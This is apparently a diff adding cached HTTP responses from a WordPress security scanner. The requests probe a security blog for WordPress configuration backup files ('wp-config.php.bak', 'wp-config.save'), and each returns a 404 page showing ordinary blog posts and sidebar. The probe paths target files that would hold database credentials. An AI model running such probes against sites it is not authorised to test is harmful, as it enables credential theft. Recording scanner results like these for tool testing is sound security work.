|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.bak/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 2.9e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.bak
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:27 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=h7ta2dgci6af79ol49giopm5454f4qsv; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:27 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.9e-05
|
||||
pretransfer_time: 2.7e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.php.bak
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.php.bak
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 1.049149
|
||||
status_message:
|
||||
time: 1.158358
|
||||
311
cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26
vendored
Normal file
311
cache/browser/a7e216f8d6de722e951cc9105236a7a65d60db26
vendored
Normal file
@@ -0,0 +1,311 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.8e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Save</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.save/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
